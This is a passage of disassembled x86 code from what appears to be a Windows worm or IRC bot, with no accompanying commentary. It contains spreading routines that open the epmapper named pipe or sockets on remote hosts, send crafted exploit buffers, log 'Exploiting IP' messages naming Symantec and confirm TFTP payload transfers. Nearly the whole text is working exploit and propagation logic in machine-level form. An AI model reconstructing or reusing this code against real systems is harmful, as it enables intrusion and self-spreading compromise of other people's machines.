		jz	short loc_40D994
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D98D
		cmp	al, 0FFh
		jz	short loc_40D98D
		dec	al
		mov	[ecx], al
		jmp	short loc_40D994
; ---------------------------------------------------------------------------


loc_40D98D:				; CODE XREF: sub_40D968+19j
					; sub_40D968+1Dj
		push	ecx
		call	sub_41D3EF
		pop	ecx


loc_40D994:				; CODE XREF: sub_40D968+8j
					; sub_40D968+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D968	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9A4	proc near		; CODE XREF: ___:0040D6C4p
					; sub_40DAFD+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40D9D2
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CAB0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9D2:				; CODE XREF: sub_40D9A4+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9D9	proc near		; CODE XREF: sub_40D815+39p
					; sub_40D815+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9EC
		call	sub_426453


loc_40D9EC:				; CODE XREF: sub_40D9D9+Cj
		mov	ecx, edi
		call	sub_40DAFD
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA02
		mov	ebx, eax


loc_40DA02:				; CODE XREF: sub_40D9D9+25j
		test	ebx, ebx
		jbe	short loc_40DA38
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D400
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8E3
		test	al, al
		jz	short loc_40DA38
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA38:				; CODE XREF: sub_40D9D9+2Bj
					; sub_40D9D9+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA40	proc near		; CODE XREF: sub_40D8E3+79p
		mov	eax, offset loc_426D8C
		call	sub_41D3D0
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA66
		mov	edi, [ebp+8]


loc_40DA66:				; CODE XREF: sub_40DA40+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA73
		xor	eax, eax


loc_40DA73:				; CODE XREF: sub_40DA40+2Fj
		push	eax
		call	sub_41D735
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAA4
; ---------------------------------------------------------------------------


loc_40DA7F:				; DATA XREF: ___:00427FCCo
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA8E
		xor	eax, eax


loc_40DA8E:				; CODE XREF: sub_40DA40+4Aj
		push	eax
		call	sub_41D735
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DA9E
		retn
; ---------------------------------------------------------------------------


loc_40DA9E:				; DATA XREF: sub_40DA40+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAA4:				; CODE XREF: sub_40DA40+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAC2
		cmp	eax, edi
		jbe	short loc_40DAB1
		mov	eax, edi


loc_40DAB1:				; CODE XREF: sub_40DA40+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch


loc_40DAC2:				; CODE XREF: sub_40DA40+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D968
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAE2
		mov	edi, ebx


loc_40DAE2:				; CODE XREF: sub_40DA40+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA40	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DAFD	proc near		; CODE XREF: sub_40D9D9+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB2A
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB2A
		cmp	al, 0FFh
		jz	short loc_40DB2A
		push	1
		call	sub_40D968
		push	esi
		call	sub_41B960
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9A4


loc_40DB2A:				; CODE XREF: sub_40DAFD+9j
					; sub_40DAFD+10j ...
		pop	edi
		pop	esi
		retn
sub_40DAFD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB2D	proc near		; DATA XREF: ___:00429008o
		test	byte_4D9A2C, 1
		jnz	short loc_40DB3D
		or	byte_4D9A2C, 1


loc_40DB3D:				; CODE XREF: sub_40DB2D+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_41D7B0
		pop	ecx
		retn
sub_40DB2D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB4F	proc near		; CODE XREF: ___:0040DF65p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4329A0
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_432998 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43B4B8
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CC024
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4C93A4
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC13
		cmp	eax, ebx
		jnz	short loc_40DC1D


loc_40DC13:				; CODE XREF: sub_40DB4F+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4C93A4


loc_40DC1D:				; CODE XREF: sub_40DB4F+C2j
		cmp	eax, 5
		jz	short loc_40DC2B
		cmp	eax, ebx
		jz	short loc_40DC2B
		push	1
		pop	eax
		jmp	short loc_40DC2D
; ---------------------------------------------------------------------------


loc_40DC2B:				; CODE XREF: sub_40DB4F+D1j
					; sub_40DB4F+D5j
		xor	eax, eax


loc_40DC2D:				; CODE XREF: sub_40DB4F+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC32	proc near		; CODE XREF: ___:0040DFB7p
					; ___:0040E097p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4329A0
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_432998 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43B4B8
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41D7F1
		add	esp, 10h


loc_40DCC3:				; CODE XREF: sub_40DC32+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4C923C
		test	eax, eax
		jz	short loc_40DCE3
		push	7D0h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40DCC3
; ---------------------------------------------------------------------------


loc_40DCE3:				; CODE XREF: sub_40DC32+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCEA	proc near		; CODE XREF: ___:0040DFE6p
					; ___:0040E124p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C2A0
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B21E
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF39
		push	ebx
		mov	ebx, offset off_4328B4
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CAB0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD6F:				; CODE XREF: sub_40DCEA+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDBF
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CAB0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BD10
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CAB0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD6F
; ---------------------------------------------------------------------------


loc_40DDBF:				; CODE XREF: sub_40DCEA+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDDA
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDE3
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDE1
; ---------------------------------------------------------------------------


loc_40DDDA:				; CODE XREF: sub_40DCEA+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDE1:				; CODE XREF: sub_40DCEA+EEj
		jnz	short loc_40DDEC


loc_40DDE3:				; CODE XREF: sub_40DCEA+E5j
		push	4
		push	offset dword_432994
		jmp	short loc_40DDF3
; ---------------------------------------------------------------------------


loc_40DDEC:				; CODE XREF: sub_40DCEA:loc_40DDE1j
		push	4
		push	offset dword_432990


loc_40DDF3:				; CODE XREF: sub_40DCEA+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_4324C8
		push	eax
		call	sub_41CAB0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_43282C
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CAB0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_432840
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CAB0
		add	edi, 3Ch
		push	30h
		push	offset dword_432880
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CAB0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BC9B
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BD10
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CAB0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF39:				; CODE XREF: sub_40DCEA+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCEA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C2A0
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0AB
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB4F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1BB
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 27306D8h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFC2


loc_40DFB3:				; CODE XREF: ___:0040E063j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC32
		pop	ecx
		jmp	loc_40E1BB
; ---------------------------------------------------------------------------


loc_40DFC2:				; CODE XREF: ___:0040DFB1j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_41827E
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCEA
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E05A
		mov	edi, 186A0h
		push	edi
		call	sub_41BC9B
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BD10
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_43247C
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2730000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E04A
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jnz	short loc_40E068


loc_40E04A:				; CODE XREF: ___:0040E030j
		push	esi
		call	sub_41BA31
		push	dword ptr [ebp-8]
		call	sub_41BA31
		pop	ecx
		pop	ecx


loc_40E05A:				; CODE XREF: ___:0040DFF6j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660000h
		jmp	loc_40DFB3
; ---------------------------------------------------------------------------


loc_40E068:				; CODE XREF: ___:0040E048j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 2710000h
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA31
		push	esi
		call	sub_41BA31
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC32
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1CF
		jmp	loc_40E1BB
; ---------------------------------------------------------------------------


loc_40E0AB:				; CODE XREF: ___:0040DF57j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_41827E
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1BB
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1BB
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4C9304
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C9344
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCEA
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E13D
		push	dword ptr [ebp-4]
		jmp	short loc_40E1B5
; ---------------------------------------------------------------------------


loc_40E13D:				; CODE XREF: ___:0040E136j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E155


loc_40E152:				; CODE XREF: ___:0040E167j
		push	esi
		jmp	short loc_40E1AE
; ---------------------------------------------------------------------------


loc_40E155:				; CODE XREF: ___:0040E150j
		push	ebx
		push	48h
		push	offset dword_43247C
		push	edi
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E152
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4C931C
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E196
		push	dword ptr [ebp-8]
		jmp	short loc_40E1AE
; ---------------------------------------------------------------------------


loc_40E196:				; CODE XREF: ___:0040E18Fj
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4C931C
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1C2


loc_40E1AE:				; CODE XREF: ___:0040E153j
					; ___:0040E194j
		call	sub_41BA31
		pop	ecx
		push	edi


loc_40E1B5:				; CODE XREF: ___:0040E13Bj
		call	dword_4C939C


loc_40E1BB:				; CODE XREF: ___:0040DF6Ej
					; ___:0040DFBDj ...
		xor	eax, eax
		jmp	loc_40E27E
; ---------------------------------------------------------------------------


loc_40E1C2:				; CODE XREF: ___:0040E1ACj
		call	sub_41BA31
		pop	ecx
		push	edi
		call	dword_4C939C


loc_40E1CF:				; CODE XREF: ___:0040E0A0j
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		xor	esi, esi


loc_40E1E9:				; CODE XREF: ___:0040E209j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415DCF
		test	eax, eax
		pop	ecx
		jnz	short loc_40E20D
		push	1388h
		nop
		call	near ptr 268051Bh
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1E9
		jmp	short loc_40E27B
; ---------------------------------------------------------------------------


loc_40E20D:				; CODE XREF: ___:0040E1F8j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C006
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E259
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409862
		add	esp, 14h


loc_40E259:				; CODE XREF: ___:0040E23Aj
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415CEE
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431810[eax]
		lea	eax, dword_431810[eax]


loc_40E27B:				; CODE XREF: ___:0040E20Bj
		push	1
		pop	eax


loc_40E27E:				; CODE XREF: ___:0040E1BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E283	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40E283	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E288	proc near
		mov	eax, dword_432B98
		add	eax, 6
		mov	dword_4CC028, eax
		retn
sub_40E288	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E296	proc near		; CODE XREF: sub_40E296+D0p
					; ___:0040E7F5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E2AA
		or	[ebp+arg_7], 1
		jmp	short loc_40E2AE
; ---------------------------------------------------------------------------


loc_40E2AA:				; CODE XREF: sub_40E296+Cj
		and	[ebp+arg_7], 0FEh


loc_40E2AE:				; CODE XREF: sub_40E296+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E2D2
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E2E4
; ---------------------------------------------------------------------------


loc_40E2D2:				; CODE XREF: sub_40E296+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40E2E4:				; CODE XREF: sub_40E296+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40E37D
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_40E374
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40E374
		push	[ebp+arg_20]
		call	sub_41BA31
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40E370
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40E296
		add	esp, 2Ch
		jmp	short loc_40E37F
; ---------------------------------------------------------------------------


loc_40E370:				; CODE XREF: sub_40E296+B3j
		mov	al, 1
		jmp	short loc_40E37F
; ---------------------------------------------------------------------------


loc_40E374:				; CODE XREF: sub_40E296+9Cj
					; sub_40E296+A4j
		push	[ebp+arg_20]
		call	sub_41BA31
		pop	ecx


loc_40E37D:				; CODE XREF: sub_40E296+61j
		xor	al, al


loc_40E37F:				; CODE XREF: sub_40E296+D8j
					; sub_40E296+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E296	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  0Fh
		db 0DFh	; ß
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db 0D8h	; Ø
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  5Fh	; _
		db 0F5h	; õ
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  14h
		db  2Ch	; ,
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  3Dh	; =
		db 0DDh	; Ý
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  3Eh	; >
		db 0D9h	; Ù
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db 0B8h	; ¸
		db 0B4h	; ´
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  3Bh	; ;
		db  82h	; ‚
		db    1
		db    0
